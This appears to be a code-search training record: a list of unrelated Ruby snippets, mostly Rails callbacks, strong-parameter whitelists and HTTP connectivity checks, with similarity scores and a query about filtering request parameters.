"def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"def determine_valid_action\n\n end",
"def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"def startcompany(action)\n @done = true\n action.setup\n end",
"def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"def setup(&block)\n define_method(:setup, &block)\n end",
"def setup\n transition_to(:setup)\n end",
"def setup\n transition_to(:setup)\n end",
"def action\n end",
"def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"def config(action, *args); end",
"def setup\n @setup_proc.call(self) if @setup_proc\n end",
"def before_action \n end",
"def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"def action\n end",
"def matt_custom_action_begin(label); end",
"def setup\n # override this if needed\n end",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"def after(action)\n invoke_callbacks *options_for(action).after\n end",
"def pre_task\n end",
"def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"def setup_signals; end",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"def initialize(*args)\n super\n @action = :set\nend",
"def after_set_callback; end",
"def setup\n #implement in subclass;\n end",
"def lookup_action; end",
"def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"def release_actions; end",
"def around_hooks; end",
"def save_action; end",
"def setup(easy)\n super\n easy.customrequest = @verb\n end",
"def action_target()\n \n end",
"def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"def before_setup\n # do nothing by default\n end",
"def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"def default_action; end",
"def setup(&blk)\n @setup_block = blk\n end",
"def callback_phase\n super\n end",
"def advice\n end",
"def _handle_action_missing(*args); end",
"def duas1(action)\n action.call\n action.call\nend",
"def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end",
"def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end",
"def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend"
] | [
"0.6163163",
"0.6045976",
"0.5946146",
"0.591683",
"0.5890051",
"0.58349305",
"0.5776858",
"0.5703237",
"0.5703237",
"0.5652805",
"0.5621621",
"0.54210985",
"0.5411113",
"0.5411113",
"0.5411113",
"0.5391541",
"0.53794575",
"0.5357573",
"0.53402257",
"0.53394014",
"0.53321576",
"0.53124547",
"0.529654",
"0.5296262",
"0.52952296",
"0.52600986",
"0.52442724",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.5232394",
"0.523231",
"0.5227454",
"0.52226824",
"0.52201617",
"0.5212327",
"0.52079266",
"0.52050185",
"0.51754695",
"0.51726824",
"0.51710224",
"0.5166172",
"0.5159343",
"0.51578903",
"0.51522785",
"0.5152022",
"0.51518047",
"0.51456624",
"0.51398855",
"0.5133759",
"0.5112076",
"0.5111866",
"0.5111866",
"0.5110294",
"0.5106169",
"0.509231",
"0.50873137",
"0.5081088",
"0.508059",
"0.50677156",
"0.50562143",
"0.5050554",
"0.50474834",
"0.50474834",
"0.5036181",
"0.5026331",
"0.5022976",
"0.5015441",
"0.50121695",
"0.5000944",
"0.5000019",
"0.4996878",
"0.4989888",
"0.4989888",
"0.49864885",
"0.49797225",
"0.49785787",
"0.4976161",
"0.49683493",
"0.4965126",
"0.4958034",
"0.49559742",
"0.4954353",
"0.49535993",
"0.4952725",
"0.49467874",
"0.49423352",
"0.49325448",
"0.49282882",
"0.49269363",
"0.49269104",
"0.49252945",
"0.4923091",
"0.49194667",
"0.49174926",
"0.49173003",
"0.49171105",
"0.4915879",
"0.49155936"
] | 0.0 | -1 |
Never trust parameters from the scary internet, only allow the white list through. | def practitioner_role_params
params.fetch(:practitioner_role, {})
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def allow_params_authentication!; end",
"def allowed_params\n ALLOWED_PARAMS\n end",
"def default_param_whitelist\n [\"mode\"]\n end",
"def param_whitelist\n [:role, :title]\n end",
"def expected_permitted_parameter_names; end",
"def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"def permitir_parametros\n \t\tparams.permit!\n \tend",
"def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end",
"def param_whitelist\n [:rating, :review]\n end",
"def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"def valid_params_request?; end",
"def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end",
"def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end",
"def allowed_params\n params.require(:allowed).permit(:email)\n end",
"def permitted_params\n []\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end",
"def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend",
"def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end",
"def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end",
"def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end",
"def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end",
"def safe_params\n params.require(:user).permit(:name)\n end",
"def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend",
"def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"def check_params; true; end",
"def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"def quote_params\n params.permit!\n end",
"def valid_params?; end",
"def paramunold_params\n params.require(:paramunold).permit!\n end",
"def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend",
"def filtered_parameters; end",
"def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end",
"def filtering_params\n params.permit(:email, :name)\n end",
"def check_params\n true\n end",
"def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend",
"def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend",
"def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end",
"def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend",
"def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end",
"def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end",
"def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end",
"def active_code_params\n params[:active_code].permit\n end",
"def filtering_params\n params.permit(:email)\n end",
"def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end",
"def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end",
"def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end",
"def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end",
"def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end",
"def list_params\n params.permit(:name)\n end",
"def filter_parameters; end",
"def filter_parameters; end",
"def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end",
"def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end",
"def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end",
"def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end",
"def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end",
"def url_whitelist; end",
"def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"def admin_social_network_params\n params.require(:social_network).permit!\n end",
"def filter_params\n params.require(:filters).permit(:letters)\n end",
"def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end",
"def sensitive_params=(params)\n @sensitive_params = params\n end",
"def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end",
"def permit_request_params\n params.permit(:address)\n end",
"def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end",
"def secure_params\n params.require(:location).permit(:name)\n end",
"def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end",
"def question_params\n params.require(:survey_question).permit(question_whitelist)\n end",
"def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end",
"def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end",
"def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end",
"def backend_user_params\n params.permit!\n end",
"def url_params\n params[:url].permit(:full)\n end",
"def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end",
"def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend",
"def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end",
"def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end",
"def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end",
"def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end",
"def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end",
"def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end",
"def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end",
"def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end"
] | [
"0.6981537",
"0.67835593",
"0.6748275",
"0.67436063",
"0.6736311",
"0.65937173",
"0.6503359",
"0.6498499",
"0.6482832",
"0.6478776",
"0.645703",
"0.6439998",
"0.63802195",
"0.6377008",
"0.6366287",
"0.632018",
"0.63016284",
"0.63011277",
"0.62932974",
"0.62919617",
"0.62905645",
"0.6289235",
"0.6283876",
"0.62425834",
"0.62410337",
"0.6218672",
"0.62151134",
"0.62096137",
"0.6192354",
"0.6178057",
"0.6177618",
"0.61727077",
"0.6162073",
"0.6152049",
"0.61515594",
"0.61458135",
"0.6122875",
"0.61165285",
"0.6107696",
"0.6104097",
"0.6091097",
"0.6080201",
"0.60699946",
"0.6063739",
"0.60206395",
"0.60169303",
"0.60134894",
"0.601003",
"0.6007347",
"0.6007347",
"0.6001054",
"0.59997267",
"0.5997844",
"0.5991826",
"0.5991213",
"0.59911627",
"0.5980111",
"0.5967009",
"0.59597385",
"0.5958542",
"0.595787",
"0.5957425",
"0.59522784",
"0.5951228",
"0.59423685",
"0.5939385",
"0.5939122",
"0.5939122",
"0.59325653",
"0.5930178",
"0.59248054",
"0.59243476",
"0.59164625",
"0.59106",
"0.59101933",
"0.59084356",
"0.5905666",
"0.58975077",
"0.58974737",
"0.5895128",
"0.58946574",
"0.589308",
"0.58916",
"0.5885987",
"0.58838505",
"0.58792",
"0.58723736",
"0.58684355",
"0.58677715",
"0.5865701",
"0.5865538",
"0.5865288",
"0.586385",
"0.5862139",
"0.58614355",
"0.58593005",
"0.5857459",
"0.58541363",
"0.58536613",
"0.58520085",
"0.585011"
] | 0.0 | -1 |
Check to see if we have an HTTP/S Connection | def connected?
return false unless @connection
return false unless @connection.started?
true
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def connection?\n begin\n TCPSocket.new 'google.com', 80\n return true\n rescue SocketError\n return false\n end\n end",
"def connectable?\n ssl_context = OpenSSL::SSL::SSLContext.new\n ssl_context.verify_mode = OpenSSL::SSL::VERIFY_NONE\n\n @http.head(URL_TO_CHECK, ssl_context: ssl_context).status.success?\n rescue StandardError\n false\n end",
"def connection?\n check = Netchecker.new() \n @alive = check.check_url(\"google.com\", 80) \n end",
"def attempt_connection\n begin\n response = Net::HTTP.get_response(uri)\n unless response.code == \"200\"\n Puppet.notice \"HTTP request (#{uri}) failed: (#{response.code} #{response.body})\"\n return false\n end\n return true\n rescue Errno::ECONNREFUSED => e\n Puppet.notice \"Unable to establish HTTP connection to '#{uri}'; #{e}\"\n return false\n end\n end",
"def valid_ssl_connection?\n return [email protected]? && @https != false \n end",
"def internet_connection?\n begin\n true if open(\"http://www.google.com/\")\n rescue\n false\n end\n end",
"def exists?\n start_time = Time.now\n timeout = resource[:timeout]\n try_sleep = resource[:try_sleep]\n\n success = validator.attempt_connection\n\n while success == false && ((Time.now - start_time) < timeout)\n # It can take several seconds for an HTTP service to start up;\n # especially on the first install. Therefore, our first connection attempt\n # may fail. Here we have somewhat arbitrarily chosen to retry every 2\n # seconds until the configurable timeout has expired.\n Puppet.notice(\"Failed to make an HTTP connection; sleeping #{try_sleep} seconds before retry\")\n sleep try_sleep\n success = validator.attempt_connection\n end\n\n if success\n Puppet.debug(\"Connected to the host in #{Time.now - start_time} seconds.\")\n else\n Puppet.notice(\"Failed to make an HTTP connection within timeout window of #{timeout} seconds; giving up.\")\n end\n\n success\n end",
"def server_is_available?\n return true\n !@http_client.send_request(:get, \"#{@configuration.protocol}://#{@configuration.host}:#{@configuration.port}\", nil, {:timeout => 5}).nil?\n end",
"def internet_http?\n host_http = 'http://www.google.com/index.html'\n check = Net::Ping::HTTP.new(host_http) #now http not as console\n check.ping?\n end",
"def internet_http?\n host_http = 'http://www.google.com/index.html'\n check = Net::Ping::HTTP.new(host_http) #now http not as console\n check.ping?\n end",
"def server_ready?\n begin\n url = URI.parse(TEST_URI)\n req = Net::HTTP.new(url.host, url.port)\n res = req.request_head(\"/\")\n res.code == \"200\"\n rescue Errno::ECONNREFUSED\n false\n end\nend",
"def url_exists?(url_string)\n url = URI.parse(url_string)\n req = Net::HTTP.new(url.host, url.port)\n req.use_ssl = true\n path = url.path unless url.path.empty?\n res = req.request_head(path || '/')\n if res.kind_of?(Net::HTTPRedirection)\n return false\n else\n ! %W(4 5).include?(res.code[0]) # Not from 4xx or 5xx families\n end\nrescue Errno::ENOENT\n false #false if can't find the server\nend",
"def url_valid?\n uri = URI(full_url)\n Net::HTTP.start(uri.host, uri.port, :use_ssl => full_url.start_with?(\"https\")) do |http|\n response = http.request_get(full_url)\n return response.is_a?(Net::HTTPOK) || response.is_a?(Net::HTTPRedirection)\n end\n end",
"def exist?\n res = Net::HTTP.get_response(uri)\n res.class == Net::HTTPOK\nrescue\n false\nend",
"def server_running?\n http = Net::HTTP.new(\"localhost\", @port)\n req = Net::HTTP::Get.new(\"/index.html\")\n http.request(req).is_a?(Net::HTTPOK)\n rescue Errno::ECONNREFUSED\n false\n end",
"def server?\n response = Net::HTTP.get_response(URI.parse('http://localhost:9533/'))\n raise unless response.class == Net::HTTPOK\nrescue\n skip 'Local server not detected'\nend",
"def available?\n fname = File.join(APP_ROOT, 'tmp', 'connection.txt')\n\n Socket.getaddrinfo(\"google.com\", \"http\")\n FileUtils.rm(fname, force: true) rescue true# if good\n true\n\n rescue => err\n File.open(fname, 'w') {|f| f << '1'}\n false\n end",
"def properly_configured?\n options = {\n open_timeout: 5,\n use_ssl: true, # all connections are forced SSL now\n verify_mode: OpenSSL::SSL::VERIFY_NONE # because we might not have a valid cert yet\n }\n Net::HTTP.start(website_alias, options) do |http|\n response = http.get(\"/tenant_aliases/#{id}/verify\")\n\n return false unless response.is_a?(Net::HTTPSuccess)\n\n response.body == \"TRUE\"\n end\n rescue SocketError, Net::OpenTimeout, Errno::ECONNREFUSED\n # SocketError if the server name doesn't exist in DNS\n # OpenTimeout if no server responds\n # ECONNREFUSED if the server responds with \"No\"\n false\n end",
"def check_availability_by_http_request(host, port)\n uri = URI(\"http://#{host}:#{port}/info\")\n request = Net::HTTP::Get.new(uri)\n request[Datadog::Transport::Ext::HTTP::HEADER_DD_INTERNAL_UNTRACED_REQUEST] = '1'\n response = Net::HTTP.start(uri.hostname, uri.port) do |http|\n http.request(request)\n end\n response.is_a?(Net::HTTPSuccess)\n rescue SocketError\n false\n end",
"def has_connection_with?(uri)\n get_connected_uri.include?(uri)\n end",
"def attempt_connection\n conn = Puppet::Network::HttpPool.http_instance(http_server, http_port, use_ssl, verify_peer)\n\n response = conn.get(test_path, test_headers)\n unless response.code.to_i == expected_code\n Puppet.notice \"Unable to connect to the server or wrong HTTP code (expected #{expected_code}) (http#{use_ssl ? 's' : ''}://#{http_server}:#{http_port}): [#{response.code}] #{response.msg}\"\n return false\n end\n return true\n rescue StandardError => e\n Puppet.notice \"Unable to connect to the server (http#{use_ssl ? 's' : ''}://#{http_server}:#{http_port}): #{e.message}\"\n return false\n end",
"def censys_resolvable?\n begin\n Rex::Socket.resolv_to_dotted(\"www.censys.io\")\n rescue RuntimeError, SocketError\n return false\n end\n true\n end",
"def url_exists?(github_url)\n url = URI.parse(github_url)\n req = Net::HTTP.new(url.host, url.port)\n req.use_ssl = true\n res = req.request_head(url.path)\n if res.is_a?(Net::HTTPRedirection)\n url_exist?(res['location']) # Go after any redirect and make sure you can access the redirected URL\n else\n res.code[0] != '4' # false if http code starts with 4 - error on your side.\n end\nrescue Errno::ENOENT\n false # false if can't find the server\nend",
"def allowed_http?\n port_protocol_allowed('80')\n end",
"def check_connection\n one_wait = 5\n max_wait = 5\n request = Net::HTTP::Get.new('/')\n wait = 0;\n while (wait < max_wait)\n begin\n response = Net::HTTP.start(@url.host, @url.port) {|http|\n http.request(request)\n }\n break if Net::HTTPForbidden === response\n break if Net::HTTPNotFound === response\n break if Net::HTTPSuccess === response\n # When we try to connect to a down server with an Apache proxy, \n # we'll get Net::HTTPBadGateway and get here\n rescue Errno::ECONNREFUSED\n # When we try to connect to a down server without an Apache proxy, \n # such as a dev instance, we'll get here\n end\n sleep one_wait;\n wait += one_wait\n end\n if (wait == max_wait)\n puts(\"-- ERROR: couldn't connect to test host on \" + @url.host.to_s)\n return false\n end\n puts(\"-- SUCCESS: test host is alive !\\n\")\n return true\nend",
"def ssl?\n https? || socks4? || socks5?\n end",
"def ssl?\n https? || socks4? || socks5?\n end",
"def available?\n resp = get do |req|\n req.url '/'\n end\n resp.status == 200\n end",
"def status\n return true unless config.managed?\n return false if pid.nil?\n\n begin\n Process.getpgid(pid)\n rescue Errno::ESRCH\n return false\n end\n\n begin\n TCPSocket.new(host, port).close\n\n Net::HTTP.start(host, port) do |http|\n http.request(Net::HTTP::Get.new('/'))\n end\n\n true\n rescue Errno::ECONNREFUSED, Errno::EINVAL\n false\n end\n end",
"def socket?() end",
"def use_http_client?\n Puppet::Network::HttpPool.http_client_class == Puppet::Network::HTTP::Connection\n end",
"def check_connection\n return\n check = HTTParty.get(\"#{@host}/api/process/check_connection?api_key=#{@api_key}\")\n if check.nil? || check[\"status\"][\"code\"] < 0\n @helper.terminate(\"Script was unable to establish connection with dFlow at #{@host}\")\n end\n end",
"def online?\n\n require 'open-uri'\n\n begin\n open('http://www.openwfe.org')\n true\n rescue SocketError => se\n false\n end\n end",
"def server_reachable?\n puts \"Checking #{@address}:#{@port}\"\n res = Net::HTTP.start(@address, @port) {|http| http.get('/') }\n return res.code == \"200\"\n end",
"def valid_connection?(conn)\n conn.servers.length\n true\n rescue Excon::Errors::Forbidden, Excon::Errors::Unauthorized\n false\n end",
"def allow_net_connect?\n allow_net_connect\n end",
"def valid_url?(url)\n begin\n Net::HTTP.get_response(URI(url)).code == \"200\" ? true : false\n rescue SocketError\n false\n end\nend",
"def working?\n return true if @httpserv and @httpserv.working_count > 0\n return false\n end",
"def pingable?\n if @handler\n @handler.pingable?\n else\n raise WebSocketError, \"Cannot test whether pingable before onopen callback\"\n end\n end",
"def uri_exists(url)\n\n u = URI(url)\n\n Net::HTTP.start(u.host, u.port) do |http|\n http.open_timeout = 1\n http.read_timeout = 1\n res = http.head(u.path)\n\n if res.code == \"200\"\n return true\n end\n return false\n end\n end",
"def connected?\n result = true\n\n begin\n req = self.connection.get do |r|\n r.url self.configuration.search_path\n r.options.timeout = 2\n r.options.open_timeout = 1\n end\n rescue Faraday::ConnectionFailed\n result = false\n end\n\n result\n end",
